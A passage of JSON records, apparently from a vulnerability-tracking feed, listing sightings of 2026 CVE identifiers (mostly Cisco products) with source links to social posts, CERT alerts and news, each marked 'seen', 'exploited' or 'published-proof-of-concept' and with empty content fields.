"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.ncsc.nl/alerts/actief-misbruik-van-kwetsbaarheden-in-cisco-producten", "content": "", "creation_timestamp": "2026-03-06T15:20:00.000000Z"}, {"uuid": "37dfdf27-24c1-44bf-a1cf-b350444b0ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mhw6rptd4d2f", "content": "", "creation_timestamp": "2026-03-25T22:56:58.907264Z"}, {"uuid": "91e67fef-80a9-474c-bc33-d14110b378a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/librecanada.bsky.social/post/3mdamevkxkc2s", "content": "", "creation_timestamp": "2026-01-25T11:19:37.826614Z"}, {"uuid": "b81cf933-b26f-42ed-9c35-7c4163d05424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mdb53rk5ha2x", "content": "", "creation_timestamp": "2026-01-25T16:20:07.832078Z"}, {"uuid": "2b45f867-f17e-43b1-950a-b79f5d8507df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdc72qkl2b26", "content": "", "creation_timestamp": "2026-01-26T02:28:00.188871Z"}, {"uuid": "ff2bb460-c3e6-4d08-9a77-5421e2a7dc5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mddlhguzev2s", "content": "", "creation_timestamp": "2026-01-26T15:42:31.023797Z"}, {"uuid": "ec3f5b75-5bae-4f5d-8a42-371bafa96fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3mddraymnzc2t", "content": "", "creation_timestamp": "2026-01-26T17:26:18.331561Z"}, {"uuid": "5ed52331-e7bb-45e0-b7de-c59d784659c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mddt5ikjce2t", "content": "", "creation_timestamp": "2026-01-26T18:00:07.828918Z"}, {"uuid": "58e033bb-29a4-4a6c-b5b9-535c72893dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdepjazwot23", "content": "", "creation_timestamp": "2026-01-27T02:27:46.779029Z"}, {"uuid": "04b1bb68-c4c0-4364-a701-37bc1f257e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/lordman1982.bsky.social/post/3mdgdqtelmv2h", "content": "", "creation_timestamp": "2026-01-27T18:02:35.449907Z"}, {"uuid": "17e39195-0f95-4e0d-90f8-f67dd3a2d504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdh7xqbwwa2y", "content": "", "creation_timestamp": "2026-01-28T02:27:31.767353Z"}, {"uuid": "5069a807-82c9-4b69-b0c2-fcf02cef8299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mhfnh46y7z25", "content": "", "creation_timestamp": "2026-03-19T09:04:13.786228Z"}, {"uuid": "9a741715-3abd-4d1d-bd56-d861789e3e40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/redhotcyber.bsky.social/post/3mhfo7lkjcf2w", "content": "", "creation_timestamp": "2026-03-19T09:17:55.282303Z"}, {"uuid": "8634b6ea-abab-4315-aa3a-d339dad2f6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c7c87a28-85a9-4273-b492-3ad8f3a49af3", "content": "", "creation_timestamp": "2026-02-02T12:25:42.882202Z"}, {"uuid": "2181a7ea-d9bb-4d0c-b62e-f1d69a6c3043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e3ab54db-4e6a-4bdd-831a-e3622881d712", "content": "", "creation_timestamp": "2026-02-02T12:25:42.998192Z"}, {"uuid": "e26928da-5086-488d-aaf9-571e7858db37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3micuxxje7k2m", "content": "", "creation_timestamp": "2026-03-31T00:06:10.351115Z"}, {"uuid": "781b1323-b5aa-4b92-87e0-aff3d285e754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3miexzyztpr2k", "content": "", "creation_timestamp": "2026-03-31T20:06:17.154915Z"}, {"uuid": "45ef3d97-a116-4260-9073-c04b50afcf61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116330581373455220", "content": "", "creation_timestamp": "2026-04-01T17:16:43.416273Z"}, {"uuid": "2ba73e21-0423-4c1f-82cf-0a3797f6ec87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116330581373455220", "content": "", "creation_timestamp": "2026-04-01T17:16:43.499028Z"}, {"uuid": "a24a569e-b346-4c61-89f1-9b7b94d7612a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mih7vrdude2s", "content": "", "creation_timestamp": "2026-04-01T17:32:24.076841Z"}, {"uuid": "736e54de-6810-4f73-827f-35e989beabca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mih7vybs2d25", "content": "", "creation_timestamp": "2026-04-01T17:32:31.364253Z"}, {"uuid": "f4b0341d-67ce-4b79-bf19-56bec5b30a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mih7wxdc7y2m", "content": "", "creation_timestamp": "2026-04-01T17:33:04.036940Z"}, {"uuid": "c0fc451b-fc4f-4e79-a024-2e3cbe1017a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihbkxaxmh25", "content": "", "creation_timestamp": "2026-04-01T18:02:08.547191Z"}, {"uuid": "6d10435b-e204-4af0-8ebe-46552309220a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20096", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihbnrwaw72g", "content": "", "creation_timestamp": "2026-04-01T18:03:43.411792Z"}, {"uuid": "713ad533-14e6-41a5-b8e5-1f2915fea903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20095", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihbqrmjf62d", "content": "", "creation_timestamp": "2026-04-01T18:05:24.113949Z"}, {"uuid": "8ee43723-1198-45a2-8874-74d1f884104f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihbtwx52j2o", "content": "", "creation_timestamp": "2026-04-01T18:07:09.938102Z"}, {"uuid": "ae19e77a-4913-499f-a84a-bd7b65f3497c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20174", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihbxcp63j2i", "content": "", "creation_timestamp": "2026-04-01T18:09:06.294699Z"}, {"uuid": "dff5eeae-3894-4ab0-b2a8-caf071f041a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20151", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihccxxlev2g", "content": "", "creation_timestamp": "2026-04-01T18:15:34.485203Z"}, {"uuid": "431403ba-7a71-455c-85bb-01c175b36b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20097", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihcmezspb2i", "content": "", "creation_timestamp": "2026-04-01T18:20:50.003094Z"}, {"uuid": "14bd7f32-a4db-4f2d-8a7b-1161a5e7ab62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihd6h2yul2i", "content": "", "creation_timestamp": "2026-04-01T18:30:56.208260Z"}, {"uuid": "069659ec-81c2-4eb3-845b-101a69618286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miheay26yh2j", "content": "", "creation_timestamp": "2026-04-01T18:50:14.985822Z"}, {"uuid": "70605fd1-dfaa-4bf6-be2f-b25b1eae180c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miinwb5hnn27", "content": "", "creation_timestamp": "2026-04-02T07:15:52.850029Z"}, {"uuid": "7cd3a4d1-c321-4a1f-9154-648d61c122bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3miiowzr24q2g", "content": "", "creation_timestamp": "2026-04-02T07:34:12.118213Z"}, {"uuid": "cc600f3c-218d-4571-8fae-bbe530b09eb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3miiqfzfwkb2s", "content": "", "creation_timestamp": "2026-04-02T08:00:29.363104Z"}, {"uuid": "9762de97-3f6e-4b7b-a401-a970d1802876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116334395036016399", "content": "", "creation_timestamp": "2026-04-02T09:26:35.086787Z"}, {"uuid": "b8f38d68-ced7-4ead-a182-4d000c45734f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.354145Z"}, {"uuid": "9c5f9dd2-0626-442b-af0e-839fe8e32315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.451236Z"}, {"uuid": "4d148286-f77d-4558-8bb8-fec038464a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20095", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.536157Z"}, {"uuid": "873c675a-4c86-437c-a7a3-2ea506009e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20096", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.620608Z"}, {"uuid": "a68cc66f-9f5f-435f-b2fc-fbb4f7ce9f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20097", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.699160Z"}, {"uuid": "94e33011-a96e-443b-b23d-5ad33a551c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20151", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.783480Z"}, {"uuid": "75106633-0b0d-4346-a3d6-4e2a90f472bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.882722Z"}, {"uuid": "e750b9cd-9449-450c-bef3-e93da5850e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mij7rn35hd2z", "content": "", "creation_timestamp": "2026-04-02T12:35:24.982488Z"}, {"uuid": "1494288d-9e3b-40ce-b88c-f6baa0c1082e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20151", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "b769ee69-ded4-4509-b537-9040f958c0ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20095", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "3dd66e9f-b0e4-4df0-8564-07075e32417a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://www.cryptika.com/poc-exploit-released-for-windows-error-reporting-alpc-privilege-escalation/", "content": "", "creation_timestamp": "2026-03-01T17:00:00.000000Z"}, {"uuid": "cb21d727-8f89-46fc-8b36-10ec8e644de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-teams-identify-interlock-ransomware-campaign-targeting-enterprise-firewalls/", "content": "", "creation_timestamp": "2026-03-17T17:00:00.000000Z"}, {"uuid": "e45ec437-886e-40f1-98b7-603d5e1883a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20096", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "a0d4d846-cee9-4717-a0e1-e7996b4d7c51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "6bcc71f2-f480-415b-9a48-76b089d5cc5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "f79debce-a1f9-489a-b732-1c78deae7f81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "241bb52b-1c71-4216-9f66-d92a9f9e0740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116335748595388386", "content": "", "creation_timestamp": "2026-04-02T15:10:48.858329Z"}, {"uuid": "675ec6d7-1d08-461e-ae7f-f660eae857ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mijihymuxp2t", "content": "", "creation_timestamp": "2026-04-02T15:11:05.143285Z"}, {"uuid": "27853a76-92a2-4576-bcb6-513685b0f855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mijj2lyatg27", "content": "", "creation_timestamp": "2026-04-02T15:21:29.875105Z"}, {"uuid": "a6820ff7-b384-4e92-b355-126f6d41292a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mijj2lyatg27", "content": "", "creation_timestamp": "2026-04-02T15:21:29.948391Z"}, {"uuid": "cee1fb30-ed98-40a7-ad38-5b98cf35c0c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mijs5343pd2b", "content": "", "creation_timestamp": "2026-04-02T18:03:55.860723Z"}, {"uuid": "62ef71e0-6ea2-47aa-9ce3-aa0b5819a4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mijs5343pd2b", "content": "", "creation_timestamp": "2026-04-02T18:03:55.937644Z"}, {"uuid": "ac4cd77a-1331-41a2-81f5-778d5eb5e8de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20097", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "a342c7dc-751b-4ae5-8ceb-2333a46b44b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-22", "content": "", "creation_timestamp": "2026-04-02T10:08:50.000000Z"}, {"uuid": "21ea7989-a582-4648-8ffd-e1be12ed17ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://thehackernews.com/2026/04/cisco-patches-98-cvss-imc-and-ssm-flaws.html", "content": "", "creation_timestamp": "2026-04-02T13:21:00.000000Z"}, {"uuid": "35ba8067-e30d-4dcb-a222-c4814de3d6d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mik6lim4bi22", "content": "", "creation_timestamp": "2026-04-02T21:46:45.962413Z"}, {"uuid": "efefcaa4-9447-4c67-aa76-88dc364e34e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mik6lim4bi22", "content": "", "creation_timestamp": "2026-04-02T21:46:46.067176Z"}, {"uuid": "23298245-8345-4bd2-9718-a5a5cff58960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mikb5pvzsa2f", "content": "", "creation_timestamp": "2026-04-02T22:32:44.426572Z"}, {"uuid": "c661c470-1d2b-443a-ad91-bdf8602fb579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mikoe5gxyx26", "content": "", "creation_timestamp": "2026-04-03T02:28:58.077429Z"}, {"uuid": "7779d762-1da1-4dc2-9a6f-2ebea40ada39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mikoe5gxyx26", "content": "", "creation_timestamp": "2026-04-03T02:28:58.156598Z"}, {"uuid": "3379b9d6-3097-45e0-8472-67a8e0a07f2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3milbyjfwti2l", "content": "", "creation_timestamp": "2026-04-03T08:20:22.948679Z"}, {"uuid": "e6bb3928-5c1c-46d7-90a5-ceb54253c36f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3milbyjfwti2l", "content": "", "creation_timestamp": "2026-04-03T08:20:23.042811Z"}, {"uuid": "82069abc-e7a8-4b42-a493-4be7b4adca57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mils3omy2c2q", "content": "", "creation_timestamp": "2026-04-03T13:08:33.473602Z"}, {"uuid": "858099d4-a931-4e66-973a-16c795414dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/networking/cisco_sdwan_auth_bypass.rb", "content": "", "creation_timestamp": "2026-04-02T16:58:50.000000Z"}, {"uuid": "65d9eaef-2d45-4d4f-8760-fcea123f12ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20093", "type": "seen", "source": "https://bsky.app/profile/niztal.bsky.social/post/3milxzh4nhl24", "content": "", "creation_timestamp": "2026-04-03T14:54:47.690541Z"}, {"uuid": "10e3fbc6-0058-4d1c-af7c-256e042e1ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mim3za5bvu25", "content": "", "creation_timestamp": "2026-04-03T16:06:04.020631Z"}, {"uuid": "ce982459-b3e3-46f8-bdf0-5e11877e6843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mimbeutur42g", "content": "", "creation_timestamp": "2026-04-03T17:42:03.842805Z"}, {"uuid": "5e764f0a-4592-4b5e-afff-1dcb51701e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mimmlgyw7c2h", 